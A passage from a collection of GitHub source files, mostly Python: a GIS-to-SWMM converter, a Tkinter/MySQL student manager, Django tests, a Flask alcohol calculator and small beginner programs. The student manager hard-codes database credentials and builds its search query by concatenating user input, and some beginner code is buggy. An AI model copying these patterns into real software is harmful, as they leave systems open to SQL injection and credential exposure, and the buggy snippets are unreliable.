GIS-Datensatz extrahieren\r\n with arcpy.da.SearchCursor(out_subcatchment, subcatchments_fields_gis) as cursor:\r\n for row in cursor:\r\n for ii, val in enumerate(row):\r\n in_field = subcatchments_fields_gis[ii]\r\n if in_field in list(subcatchments_fields.keys()):\r\n subcatchments.loc[row[0], subcatchments_fields[in_field]] = val\r\n elif in_field in list(subareas_fields.keys()):\r\n subareas.loc[row[0], subareas_fields[in_field]] = val\r\n elif in_field in list(infiltration_fields.keys()):\r\n infiltration.loc[row[0], infiltration_fields[in_field]] = val \r\n elif in_field == \"coords\":\r\n coords_list = coords_to_list(val)\r\n for coords in coords_list:\r\n # temp dataframe\r\n df = pd.DataFrame({\"X\":coords[0],\"Y\":coords[1]}, index = [row[0]] )\r\n df.index.name = \"Subcatchment\"\r\n polygons = polygons.append(df)\r\n\r\n # Modell aktualisieren\r\n mymodel.inp.subcatchments = subcatchments\r\n mymodel.inp.subareas = subareas\r\n mymodel.inp.infiltration = infiltration\r\n mymodel.inp.polygons = polygons\r\n\r\n ## save model to new file\r\n mymodel.inp.save(swmm_out_file)\r\n\r\n ## run model\r\n #swmm5_run(swmm_out_file)\r\n\r\n\r\n# Daten einlesen \r\n# Logginig initialisieren\r\nif __name__ == \"__main__\":\r\n # Globale Variabel für logging\r\n global logger\r\n # Input JSON-Datei\r\n # Falls das Skript mittels einer Batch-Datei ausgeführt wird, wird die JSON-Datei als Parameter übergeben:\r\n paramFile = arcpy.GetParameterAsText(0)\r\n # Falls das Skript direkt ausgeführt wird, wird die JSON-Datei hier angeben:\r\n if len(paramFile) == 0:\r\n paramFile = os.path.join(os.path.dirname(__file__), '..', 'settings_v1.json')\r\n\r\n\r\n if paramFile:\r\n #Einlesen der json-Datei\r\n with open(paramFile, encoding='utf-8') as f:\r\n data = json.load(f)\r\n # Der Pfad zum Ordner, in dem die log-Datei gespeichert werden soll. \r\n log_folder = data[\"log_folder\"]\r\n # Wird als Postfix für Log-Dateinamen und die SWMM Feature-Klassen (node, link, subcatchment) verwendet.\r\n sim_nr = data[\"sim_nr\"]\r\n # Pfad zu arcpy Workspace GISSWMM (.gdb) mit dem Knoten (out_node), Haltungen (out_link) und Teileinzugsgebieten (out_subcatchment).\r\n gisswmm_workspace = data[\"gisswmm_workspace\"]\r\n # Der Name der Feature-Klasse mit den Knoten (ohne Postfix \"_sim_nr\"!).\r\n out_node = data[\"out_node\"]\r\n # Der Name der Feature-Klasse mit den Haltungen (ohne Postfix \"_sim_nr\"!).\r\n out_link = data[\"out_link\"]\r\n # Der Name der Feature-Klasse mit den Teileinzugsgebieten (ohne Postfix \"_sim_nr\"!).\r\n out_subcatchment = data[\"out_subcatchment\"]\r\n # Der Pfad zur Template SWMM-Eingabedatei (.inp).\r\n template_swmm_file = data[\"template_swmm_file\"]\r\n else:\r\n raise ValueError('keine json-Datei mit den Parametern angegeben')\r\n\r\n # Prüfen ob Logfolder existiert\r\n if not os.path.isdir(log_folder):\r\n try:\r\n os.mkdir(log_folder)\r\n except:\r\n raise ValueError(f'Logfolder \"{log_folder}\" konnte nicht erstellt werden!')\r\n \r\n # Logging initialisieren\r\n filename = 'gisswmm2swmm_' + sim_nr + \"_\" + template_swmm_file.split(\"/\")[-1].split(\".\")[0] + '.log'\r\n log = os.path.join(log_folder, filename)\r\n logger= lf.init_logging(log)\r\n logger.info('****************************************************************')\r\n logger.info(f'Start logging: {time.ctime()}')\r\n start_time = time.time()\r\n\r\n # Aktuelle Workspace definieren\r\n arcpy.env.workspace = gisswmm_workspace\r\n\r\n # Prüfen ob Eingabedatensätze vorhanden sind\r\n postfix = \"_\" + sim_nr\r\n if not postfix in out_node:\r\n out_node = out_node + postfix\r\n if not postfix in out_link:\r\n out_link = out_link + postfix\r\n if not postfix in out_subcatchment:\r\n out_subcatchment = out_subcatchment + postfix\r\n if not arcpy.Exists(out_node):\r\n err_txt = f'Die angegebene Feature-Klasse {out_node} ist nicht vorhanden!'\r\n logger.error(err_txt)\r\n raise ValueError(err_txt) \r\n if not arcpy.Exists(out_link):\r\n err_txt = f'Die angegebene Feature-Klasse {out_link} ist nicht vorhanden!'\r\n logger.error(err_txt)\r\n raise ValueError(err_txt)\r\n if not arcpy.Exists(out_subcatchment):\r\n err_txt = f'Die angegebene Feature-Klasse {out_subcatchment} ist nicht vorhanden!'\r\n logger.error(err_txt)\r\n raise ValueError(err_txt)\r\n\r\n # Koordinatensystem\r\n spatial_ref = arcpy.Describe(out_node).spatialReference\r\n\r\n # Main module aufrufen\r\n with arcpy.EnvManager(workspace = gisswmm_workspace, outputCoordinateSystem = spatial_ref):\r\n main(out_node, out_link, out_subcatchment, template_swmm_file, sim_nr)\r\n\r\n # Logging abschliessen\r\n end_time = time.time()\r\n i = lf.search_in_file(log, \"error\")\r\n logger.info(\"Skript Laufzeit: \" + str(round(end_time - start_time)) + \" sec.\")\r\n logger.info(str(i) + \" Fehler gefunden. Check Log.\")\r\n endtime = time.ctime()\r\n logger.info(f'End time: {time.ctime()}')\r\n logger.info('****************************************************************\\n')\r\n\r\n\r\n\r\n\r\n","repo_name":"wickit7/pygisswmm","sub_path":"4_GISSWMM2SWMM/gisswmm2swmm.py","file_name":"gisswmm2swmm.py","file_ext":"py","file_size_in_byte":15402,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"37346420598","text":"from tkinter import *\nfrom tkinter import ttk\nimport pymysql\nfrom tkinter import messagebox\n\n# Class\nclass Student():\n def __init__(self,root):\n self.root = root\n self.root.title(\"Student Management System\")\n self.root.geometry(\"1350x700+0+0\")\n\n # Database Information\n self.hostName_db = \"localhost\"\n self.userName_db = \"admin\"\n self.password_db = \"admin@1234\"\n self.databaseName_db = \"SMS_db\"\n \n def Window(self):\n title = Label(self.root,text=\"Student Management System\",font=(\"times new roman\",40,\"bold\"),bg=\"yellow\",fg=\"red\",bd=10,relief=GROOVE).pack(side=TOP,fill=X)\n\n # ================Variable Define===============================\n self.Roll_No_var = StringVar()\n self.Name_var = StringVar()\n self. Email_var = StringVar()\n self.DOB_var = StringVar()\n self.Gender_var = StringVar()\n self.Contact_var = StringVar()\n self.search_by = StringVar()\n self.search_txt = StringVar()\n \n\n # ================== Manage Frame =============================\n Manage_Frame = Frame(self.root,bd=4,relief=RIDGE,bg=\"crimson\")\n Manage_Frame.place(x=20,y=100,width=450,height=600)\n\n m_title = Label(Manage_Frame,text=\"Manage Student\",font=(\"times new roman\",30,\"bold\"),bg=\"crimson\",fg=\"white\")\n m_title.grid(row=0,columnspan=2,pady=20)\n\n # =============================Label and Entry Field ===============================\n # Roll Number\n lbl_roll = Label(Manage_Frame,text=\"Roll No\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=1,column=0,pady=10,padx=20,sticky=\"w\")\n\n txt_roll = Entry(Manage_Frame,textvariable=self.Roll_No_var,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_roll.grid(row=1,column=1,pady=10,padx=20,sticky=\"w\")\n\n # Name\n lbl_name = Label(Manage_Frame,text=\"Name\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=2,column=0,pady=10,padx=20,sticky=\"w\")\n\n txt_name = Entry(Manage_Frame,textvariable=self.Name_var,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_name.grid(row=2,column=1,pady=10,padx=20,sticky=\"w\")\n\n # Email\n lbl_email = Label(Manage_Frame,text=\"Email\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=3,column=0,pady=10,padx=20,sticky=\"w\")\n\n txt_email = Entry(Manage_Frame,textvariable=self.Email_var,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_email.grid(row=3,column=1,pady=10,padx=20,sticky=\"w\")\n\n # Gender\n lbl_gender = Label(Manage_Frame,text=\"Gender\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=4,column=0,pady=10,padx=20,sticky=\"w\")\n\n combo_gender = ttk.Combobox(Manage_Frame,textvariable=self.Gender_var,font=(\"times new roman\",12,\"bold\"),state=\"readonly\")\n combo_gender[\"values\"] = (\"Male\",\"Female\",\"Other\")\n combo_gender.grid(row=4,column=1,pady=10,padx=20,sticky=\"w\")\n\n # Contact\n lbl_contact = Label(Manage_Frame,text=\"Contact\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=5,column=0,pady=10,padx=20,sticky=\"w\")\n\n txt_contact = Entry(Manage_Frame,textvariable=self.Contact_var,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_contact.grid(row=5,column=1,pady=10,padx=20,sticky=\"w\")\n\n # DOB\n lbl_dob = Label(Manage_Frame,text=\"DOB\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=6,column=0,pady=10,padx=20,sticky=\"w\")\n\n txt_dob = Entry(Manage_Frame,textvariable=self.DOB_var,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_dob.grid(row=6,column=1,pady=10,padx=20,sticky=\"w\")\n\n # Address\n lbl_address = Label(Manage_Frame,text=\"Address\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=7,column=0,pady=10,padx=20,sticky=\"w\")\n\n self.txt_address = Text(Manage_Frame,width=30,height=4,font=(\"times new roman\",10,\"bold\"))\n self.txt_address.grid(row=7,column=1,pady=10,padx=20,sticky=\"w\")\n\n # ===========================Button Frame ===================================\n # Buttons\n btn_Frame = Frame(Manage_Frame,bd=4,relief=RIDGE,bg=\"crimson\")\n btn_Frame.place(x=15,y=510,width=420)\n\n # Add Button\n addBtn = Button(btn_Frame,text=\"Add\",width=6,command=self.add_student).grid(row=0,column=0,padx=10,pady=10)\n # Update Button\n updateBtn = Button(btn_Frame,text=\"Update\",width=6,command=self.update_data).grid(row=0,column=1,padx=10,pady=10)\n # Delete\n deleteBtn = Button(btn_Frame,text=\"Delete\",width=6,command=self.delete_data).grid(row=0,column=2,padx=10,pady=10)\n # Clear BUtton\n clearBtn = Button(btn_Frame,text=\"Clear\",width=6,command=self.clear).grid(row=0,column=3,padx=10,pady=10)\n\n # ================== Detail Frame =============================\n Detail_Frame = Frame(self.root,bd=4,relief=RIDGE,bg=\"crimson\")\n Detail_Frame.place(x=500,y=100,width=850,height=560)\n\n # Search Bar\n lbl_search = Label(Detail_Frame,text=\"Search By\",font=(\"times new roman\",20,\"bold\"),bg=\"crimson\",fg=\"white\").grid(row=0,column=0,pady=10,padx=20,sticky=\"w\")\n\n combo_search = ttk.Combobox(Detail_Frame,textvariable=self.search_by,font=(\"times new roman\",12,\"bold\"),state=\"readonly\",width=8)\n combo_search[\"values\"] = (\"Roll_NO\",\"Name\",\"Contact\")\n combo_search.grid(row=0,column=1,pady=10,padx=20,sticky=\"\")\n\n #Search bar Entry\n txt_search = Entry(Detail_Frame,textvariable=self.search_txt,font=(\"times new roman\",15,\"bold\"),bd=5,relief=GROOVE)\n txt_search.grid(row=0,column=2,pady=10,padx=20,sticky=\"w\")\n\n # Btn\n searchBtn = Button(Detail_Frame,text=\"Search\",width=6,command=self.search_data).grid(row=0,column=3,padx=10,pady=10)\n\n # Show All\n showallBtn = Button(Detail_Frame,text=\"Show All\",width=6,command=self.fetch_data).grid(row=0,column=4,padx=10,pady=10)\n\n # ====================== Table Frame =================================\n Table_Frame = Frame(Detail_Frame,bd=4,relief=RIDGE,bg=\"crimson\")\n Table_Frame.place(x=10,y=70,width=780,height=480)\n\n # Scroll Bar\n scroll_x = Scrollbar(Table_Frame,orient=HORIZONTAL)\n scroll_y = Scrollbar(Table_Frame,orient=VERTICAL)\n\n # Columns Declare\n self.Student_table = ttk.Treeview(Table_Frame,columns=(\"Roll\",\"Name\",\"Email\",\"DOB\",\"Gender\",\"Contact\",\"Address\"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\n\n # \n scroll_x.pack(side=BOTTOM,fill=X)\n scroll_y.pack(side=RIGHT,fill=Y)\n\n scroll_x.config(command=self.Student_table.xview)\n scroll_y.config(command=self.Student_table.yview)\n\n # Heading (column name) In Table\n self.Student_table.heading(\"Roll\",text=\"Roll No\")\n self.Student_table.heading(\"Name\",text=\"Name\")\n self.Student_table.heading(\"Email\",text=\"Email\")\n self.Student_table.heading(\"DOB\",text=\"DOB\")\n self.Student_table.heading(\"Gender\",text=\"Gender\")\n self.Student_table.heading(\"Contact\",text=\"Contact\")\n self.Student_table.heading(\"Address\",text=\"Address\")\n\n # Show only defined Heading\n self.Student_table[\"show\"]=\"headings\"\n \n # Size width of columns\n self.Student_table.column(\"Roll\",width=100)\n self.Student_table.column(\"Name\",width=100)\n self.Student_table.column(\"Email\",width=150)\n self.Student_table.column(\"DOB\",width=100)\n self.Student_table.column(\"Gender\",width=60)\n self.Student_table.column(\"Contact\",width=100)\n self.Student_table.column(\"Address\",width=200)\n\n # \n self.Student_table.pack(fill=BOTH,expand=1)\n self.Student_table.bind(\"\",self.get_cursor)\n self.fetch_data()\n \n def add_student(self):\n if self.Roll_No_var.get() == \"\" or self.Name_var.get() == \"\" or self.Email_var.get() == \"\" or self.Gender_var.get() == \"\" or self.DOB_var.get() == \"\" or self.Contact_var.get() == \"\":\n messagebox.showerror(\"Error\",\"All Fields are required.\")\n else:\n # Creating a connection\n con = pymysql.connect(host=self.hostName_db,user=self.userName_db,password=self.password_db,database=self.databaseName_db)\n # Cursor\n cur = con.cursor()\n # Query\n cur.execute(\"INSERT INTO student_tb values(%s,%s,%s,%s,%s,%s,%s)\",(self.Roll_No_var.get(),self.Name_var.get(),self.Email_var.get(),self.DOB_var.get(),self.Gender_var.get(),self.Contact_var.get(),self.txt_address.get(\"1.0\",END)))\n\n # Commit Query\n con.commit()\n self.fetch_data()\n self.clear()\n con.close()\n messagebox.showinfo(\"Success\",\"Record Has been Inserted.\")\n\n # \n def fetch_data(self):\n # Creating a connection\n con = pymysql.connect(host=self.hostName_db,user=self.userName_db,password=self.password_db,database=self.databaseName_db)\n # Cursor\n cur = con.cursor()\n # Query\n cur.execute(\"SELECT * FROM student_tb\")\n rows = cur.fetchall()\n # \n if len(rows)!=0:\n self.Student_table.delete(*self.Student_table.get_children())\n \n for row in rows:\n self.Student_table.insert(\"\",END,values=row)\n con.commit()\n con.close()\n\n def clear(self):\n self.Roll_No_var.set(\"\")\n self.Name_var.set(\"\")\n self.Email_var.set(\"\")\n self.DOB_var.set(\"\")\n self.Gender_var.set(\"\")\n self.Contact_var.set(\"\")\n self.txt_address.delete(\"1.0\",END)\n\n def get_cursor(self,event):\n '''\n when we click on row, al the data from row where the cursor is pointed is copied in contents\n '''\n cursor_row = self.Student_table.focus()\n contents = self.Student_table.item(cursor_row)\n row = contents[\"values\"]\n \n # print(row[0])\n self.Roll_No_var.set(row[0])\n self.Name_var.set(row[1])\n self.Email_var.set(row[2])\n self.DOB_var.set(row[3])\n self.Gender_var.set(row[4])\n self.Contact_var.set(row[5])\n self.txt_address.delete(\"1.0\",END)\n self.txt_address.insert(END,row[6])\n\n def update_data(self):\n # Creating a connection\n con = pymysql.connect(host=self.hostName_db,user=self.userName_db,password=self.password_db,database=self.databaseName_db)\n # Cursor\n cur = con.cursor()\n # Query\n cur.execute(\"UPDATE student_tb SET Name = %s,Email = %s,DOB = %s,Gender = %s,Contact = %s,Address = %s WHERE Roll_NO = %s\",(self.Name_var.get(),self.Email_var.get(),self.DOB_var.get(),self.Gender_var.get(),self.Contact_var.get(),self.txt_address.get(\"1.0\",END),self.Roll_No_var.get()))\n\n # Commit Query\n con.commit()\n self.fetch_data()\n self.clear()\n con.close()\n \n def delete_data(self):\n # Creating a connection\n con = pymysql.connect(host=self.hostName_db,user=self.userName_db,password=self.password_db,database=self.databaseName_db)\n # Cursor\n cur = con.cursor()\n # Query\n cur.execute(\"DELETE FROM student_tb WHERE ROll_NO = %s\",self.Roll_No_var.get())\n con.commit()\n con.close()\n self.fetch_data()\n self.clear()\n\n def search_data(self):\n # Creating a connection\n con = pymysql.connect(host=self.hostName_db,user=self.userName_db,password=self.password_db,database=self.databaseName_db)\n # Cursor\n cur = con.cursor()\n # Query\n cur.execute(\"SELECT * FROM student_tb WHERE \"+str(self.search_by.get())+\" LIKE '%\"+str(self.search_txt.get())+\"%'\")\n rows = cur.fetchall()\n # \n if len(rows)!=0:\n self.Student_table.delete(*self.Student_table.get_children())\n \n for row in rows:\n self.Student_table.insert(\"\",END,values=row)\n con.commit()\n con.close()\n\n\n\n\n\nroot = Tk()\n# Object\napp = Student(root)\napp.Window()\nroot.mainloop()","repo_name":"kaushal-project/Projects","sub_path":"StudentManagementSystem-Tk/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"24070299507","text":"from apps.accounts.factories import ProfileFactory\nfrom apps.candidates.factories import CandidateFactory\nfrom django.test import TestCase\nfrom rest_framework.reverse import reverse\nfrom rest_framework.test import APIClient\n\n\nclass TestCandidatesListView(TestCase):\n \"\"\"This class tests ListCreateCandidateAPIView.\"\"\"\n\n def setUp(self) -> None:\n self.profile = ProfileFactory()\n self.user = self.profile.user\n CandidateFactory.create_batch(5)\n self.client = APIClient()\n self.client.force_authenticate(user=self.user)\n\n def test_get_non_authorized(self):\n \"\"\"Unauthorized user should not be able to get Candidates.\"\"\"\n self.client.force_authenticate(user=None)\n response = self.client.get(reverse(\"candidates:candidates-list\"))\n\n self.assertEqual(response.status_code, 401)\n\n def test_get_authorized(self):\n \"\"\"Authorized user should be able to get Candidates.\"\"\"\n response = self.client.get(reverse(\"candidates:candidates-list\"))\n\n self.assertEqual(response.data.get(\"count\"), 5)\n self.assertEqual(response.status_code, 200)\n\n def test_create_non_authorized(self):\n \"\"\"Unauthorized user should not be able to create Events.\"\"\"\n self.client.force_authenticate(user=None)\n candidate_data = CandidateFactory.build()\n response = self.client.post(\n path=reverse(\"candidates:candidates-list\"),\n data={\n \"name\": candidate_data.name,\n \"surname\": candidate_data.surname,\n \"gender\": candidate_data.gender,\n \"phone_number\": str(candidate_data.phone_number),\n \"email\": candidate_data.email,\n \"level_of_english\": candidate_data.level_of_english,\n },\n )\n\n self.assertEqual(response.status_code, 401)\n\n def test_create_authorized(self):\n \"\"\"Authorized user should be able to create Events.\"\"\"\n candidate_data = CandidateFactory.build()\n response = self.client.post(\n path=reverse(\"candidates:candidates-list\"),\n data={\n \"name\": candidate_data.name,\n \"surname\": candidate_data.surname,\n \"gender\": candidate_data.gender,\n \"phone_number\": str(candidate_data.phone_number),\n \"email\": candidate_data.email,\n \"level_of_english\": candidate_data.level_of_english,\n },\n )\n\n self.assertEqual(response.status_code, 201)\n\n def test_create_authorized_wrong_data(self):\n \"\"\"Authorized user should not be able to create Events with missing data.\"\"\"\n candidate_data = CandidateFactory.build()\n response = self.client.post(\n path=reverse(\"candidates:candidates-list\"),\n data={\n \"name\": candidate_data.name,\n },\n )\n\n self.assertEqual(response.status_code, 400)\n","repo_name":"DevIhor/Recruiter","sub_path":"backend/apps/candidates/tests/test_candidate_listview.py","file_name":"test_candidate_listview.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"7117198707","text":"'''\nmne environment is required, python 3.6\n'''\n\nimport pandas as pd\nimport os\nimport argparse\nimport mne_bids\n\nfrom ieeg_fmri_validation.iemu.routines import run_rest_speech_r_squared\nfrom ieeg_fmri_validation.iemu.classes import FilmDataset, RestDataset\n\ndef process_one(bids_dir, subject, acq):\n\n print(subject)\n\n film = FilmDataset(bids_dir, subject, acquisition=acq)\n film.preprocess()\n film.extract_events()\n film.extract_bands()\n ols_music = film.run_task_gamma_ols()\n r2_music = film.run_task_r_squared()\n\n if 'rest' in mne_bids.get_entity_vals(os.path.join(bids_dir, 'sub-' + subject, 'ses-iemu', 'ieeg'), 'task'):\n rest = RestDataset(bids_dir, subject, acquisition=acq)\n rest.preprocess()\n rest.extract_events()\n rest.extract_bands()\n r2_rest = run_rest_speech_r_squared(film, rest)\n else:\n rest, r2_rest = None, None\n\n return ols_music, r2_music, r2_rest\n\n##\ndef process_iemu(bids_dir):\n\n subjects = mne_bids.get_entity_vals(bids_dir, 'subject')\n ols_music, r2_music, r2_rest = [], [], []\n\n for subject in subjects:\n if 'iemu' in mne_bids.get_entity_vals(os.path.join(bids_dir, 'sub-' + subject), 'session'):\n for acq in mne_bids.get_entity_vals(os.path.join(bids_dir, 'sub-' + subject, 'ses-iemu', 'ieeg'),\n 'acquisition'):\n if acq != 'render':\n output = process_one(bids_dir, subject, acq)\n for x, lst in zip(output, [ols_music, r2_music, r2_rest]):\n lst.append(x)\n\n return pd.concat(ols_music, ignore_index=True), \\\n pd.concat(r2_music, ignore_index=True), \\\n pd.concat(r2_rest, ignore_index=True)\n\n\n##\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--bids_dir', '-i', type=str)\n args = parser.parse_args()\n\n process_iemu(args.bids_dir)\n","repo_name":"UMCU-RIBS/ieeg-fmri-dataset-validation","sub_path":"ieeg_fmri_validation/iemu/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"74837642167","text":"from app import app\nfrom flask import render_template, redirect, url_for, flash\nfrom forms import BACForm\nfrom methods import calculate\n\n# Simply returns the index.html template for the intro page.\n@app.route('/')\ndef index():\n return render_template(\"index.html\")\n\n# The Calcuation Page\n@app.route('/bac', methods = ['GET', 'POST'])\ndef bac():\n # Loads the BAC Form file (forms.py) which contains the fields for the calculator\n form = BACForm()\n # When the user submits, data is pulled\n if form.validate_on_submit():\n drinks = {\n 'beer': form.beer.data,\n 'wine': form.wine.data,\n 'liqour': form.liqour.data\n }\n # Form data is inputted to the BAC method, which returns the BAC level\n bac = calculate(drinks, form.weight.data, form.hours.data, form.gender.data)\n # Redirects to the results page with the bac value inputted\n return redirect(url_for('display', bac = bac))\n else:\n flash(\"Please make sure you input your weight and drinking time--we promise we'll keep it a secret.\")\n # Renders the bac.html template when first loaded\n return render_template(\"bac.html\",\n form = form)\n\n# Results page\n@app.route('/display/')\ndef display(bac):\n # Displays a rounded BAC value\n bac = \"%.2f\" % round(float(bac),2)\n # Color & Text Warning Ranges\n if float(bac) < .08:\n color = '#a1facd'\n text = \"You're starting to feel relaxed and a little light headed. You'll notice yourself feeling a little more outgoing and talking louder. Be careful as it's still early and you're in a good place.\"\n elif float (bac) >= .08 and float(bac) < .1:\n color = '#f1f99b'\n text = \"You've reached the legal point of intoxication in New York. Don't drive, and be careful: you're beginning to get quite intoxicated.\"\n elif float(bac) >= .1 and float(bac) < .16:\n color = '#f1f99b'\n text = \"You're at a high point of intoxication: your motor skills and coordination are most likely now impaired. You should stop drinking now and figure out a way to get home safely.\"\n elif float(bac) >= .16 and float(bac) < .2:\n color = '#f1f99b'\n text = \"You're beginning to reach a critical, harmful point of intoxication. Your memory is impaired and you will most likely forget much of the evening. The alcohol in your body is now supressing your gag reflex as well. You should think about contacting medical assistance.\"\n elif float(bac) >= .2:\n color = '#fc96a5'\n text = \"Your BAC is too high! Seek immediate medical attention!\"\n\n # Scrolling Carousel Content Ranges\n if float(bac) <= .06:\n feels = ['Relaxed', 'More confident', 'Slight euphoria', 'Feeling tipsy', 'Relaxed', 'More talkative', 'Happy']\n elif float(bac) > .06 and float(bac) <= .20:\n feels = ['In control', 'Unstoppable', '\"Buzzed\"', 'More emotional', 'The room is spinning', 'Groggy, nauseous', 'Uncoordinated', 'Drunk', 'Out of it', 'Over-confident', 'Angry, irrational, jumpy', 'Sick', 'Sleepy', 'Slurring your speech']\n elif float(bac) > .2:\n feels = ['Lost', 'Confused', 'Disoriented', 'Sick', 'Dizzy', 'Exhausted', 'Angry', 'Uncontrollable', 'Unintelligible', 'Unaware', 'Wasted', 'Cannot walk', 'Uncooperative', 'Loss of bladder control', 'Cold skin', 'Unresponsive', 'Puking', 'Slow breathing']\n\n # Renders results template (display.html) w/ various dynamic features\n return render_template(\"display.html\",\n bac = bac,\n color = color,\n text = text,\n feels = feels,\n length = len(feels))\n\n# Renders the static resources.html page\n@app.route('/resources')\ndef resources():\n return render_template(\"resources.html\")\n\n# Renders the static resources.html page (aka #LastTheNight)\n@app.route('/cups')\ndef cups():\n return render_template(\"cups.html\")\n","repo_name":"bceskavich/bewisecalc","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36584303252","text":"# Email Velidation (Check wheather entered email is correct or not.)\n\ndef email_validation(email):\n d,j,k = 0,0,0 # For condition 5\n\n # There are many conditions to check email velidation.\n\n # Condition 1 : Minimum length of the email is 6.\n if len(email) >= 6:\n\n # Condition 2 : The first letter of email must be a smallcase character.\n \n if email[0].isalpha():\n \n # Condition 3 : One '@' must be present in email.\n if (\"@\" in email) and (email.count(\"@\")==1):\n\n # Condition 4 : '.' must be present in the email in 3rd or 4th position.\n if (email[-3] == '.') ^ (email[-4] == '.'): # We use XOR operator here because if both the conditions are true then we get two '.' in our email which is also invalid.\n\n # Condition 5 : No wide space allow in email and all the characters in email must be in lowercase.\n for i in email:\n if i == i.isspace():\n k += 1\n elif i.isalpha():\n if i == i.upper():\n j += 1\n elif i.isdigit():\n continue\n elif i == '_' or i == '.' or i == '@':\n continue\n else:\n d += 1\n \n if k == 1 or j == 1 or d == 1:\n print(\"Wrong Email. Spaces are not allow in email name.\\nUppercase letter also not allowded into email name.\")\n else:\n print(\"Valid Email\")\n\n else:\n print(\"Wrong email. Full stop position must be inputed wrong.\")\n \n else:\n print(\"Wrong email. One '@' must present in the email.\")\n \n else:\n print(\"Wrong email. First letter of the email must be a letter.\")\n\n else:\n print(\"Wrong email. Email must be of atleast 6 character.\") \n\n\nemail = input(\"Enter your email : \")\nemail_validation(email)\n","repo_name":"Abhay-Kanwasi/Project","sub_path":"Email Validation/Email Validation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"12207076782","text":"from programmingalpha.MainPortal.Requester import RequesterServices\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nfmt = logging.Formatter('%(asctime)s: [ %(message)s ]', '%m/%d/%Y %I:%M:%S %p')\nconsole = logging.StreamHandler()\nconsole.setFormatter(fmt)\nlogger.addHandler(console)\n\nconfig_file=\"portalService.json\"\nprint(\"staring server\")\nserver=RequesterServices(config_file)\n\nserver.start()\nprint(\"server started\")\n","repo_name":"zhangzhenyu13/ProgrammingAlpha","sub_path":"test/servers_test/kafka/test_portal.py","file_name":"test_portal.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"14362224010","text":"# a program that controls a lunar rover \n# by Ayesha Bhutto \n\nimport random # imports random numbers\n\nx = 0 # a variable that sets x to equal 0\ny = 0 # a variable that sets y to equal 0 \n\nprint (\"Welcome to the Luner Rover! Let's see what adventures you go on today...\") # print statement addressing the introduction to the game \n\n\nrunning = True # the program will repeat itself as long as it is running \n\nwhile running: # the program loops here \n print (\"\\nThe rover is at (%i,%i).\" %(x,y)) # a print statement issuing where the lunar rover is \n \n position = input(\"Please enter the position: \") # user inputs the commannd with direction and coordinate \n \n\n space = position.find(\" \") # variable that finds the space between the command \n \n if space != -1: # space cannot equal a negative number so the direction is set to be anything before that\n direction = position[:space] # direction is anything before the space \n \n else: # if the space does equal a negative, then the direction equals directly to the position \n direction = position \n \n \n \n if direction == \"north\": # if statement about the direction being north \n coordinate = int(position[space:]) # the number after the space in the command is turned into an integer \n y += coordinate # since y is 0 at the moment, it will add whatever the integer is to make the lunar rover \"move\" \n \n elif direction == \"south\": # if statement about the driection being south\n coordinate = int(position[space:]) # the number after the space in the command is turned into an integer\n y -= coordinate # since y is 0 at the moment, y will subtract whatever number is given since the direction is south \n \n elif direction == \"east\": # if statement about the direction going east\n coordinate = int(position[space:]) # the number after the space is defined as an integer\n x += coordinate # x is 0 at the moment but this will add to the x coordinate since the direction is going east\n \n elif direction == \"west\": # if staement about the direction going west\n coordinate = int(position[space:]) # the number after the space is defined as an integer\n x -= coordinate # since x is 0, x will subtract with the given value since the direction is going west\n\n elif direction == \"dig\": # user is finding an object on the mooon \n object = random.choice([\"a special moon rock\",\"a spider\",\"an apple\", \"my report card\", \"an orange\"]) # program uses a random object to be found each time \n print (\"Oh look! You have found %s. That's not relevant anyway.\" %object) # print statement issuing what has been found \n \n elif direction == \"reset\": # resets the program to go back to the beginning which is (0,0)\n x = 0 # x is set to be 0\n y = 0 # y is set to be 0\n print (\"The rover has been reset to (%i,%i).\" %(x,y)) # a print statement issuing the rover has been reset\n \n \n elif direction == \"rest\": # if user enters rest, the program breaks \n break \n \n \n \n elif direction == \"moveto\": # the direction is defined if the position is moveto, which is the lunar rover moving to a certain area \n space = space+1 # space is created by addding one more space to it\n command = position[space:] # anything after the first space is the first movement\n secondspace = command.find(\" \") # after the command creates the second space between the moveto and integers\n xpoint = int[:secondspace] # turns anything before the secondspace to an integer\n ypoint = int[secondspace:] # turns anything after the second space to an integer\n print (\"You have moved the rover to (%i,%i),\" %(xpoint,ypoint)) # print statement issuing what the movement is \n \n \n \n else: # if user enters anything else rather than a valid direction, the program will appear as invalid and continue to 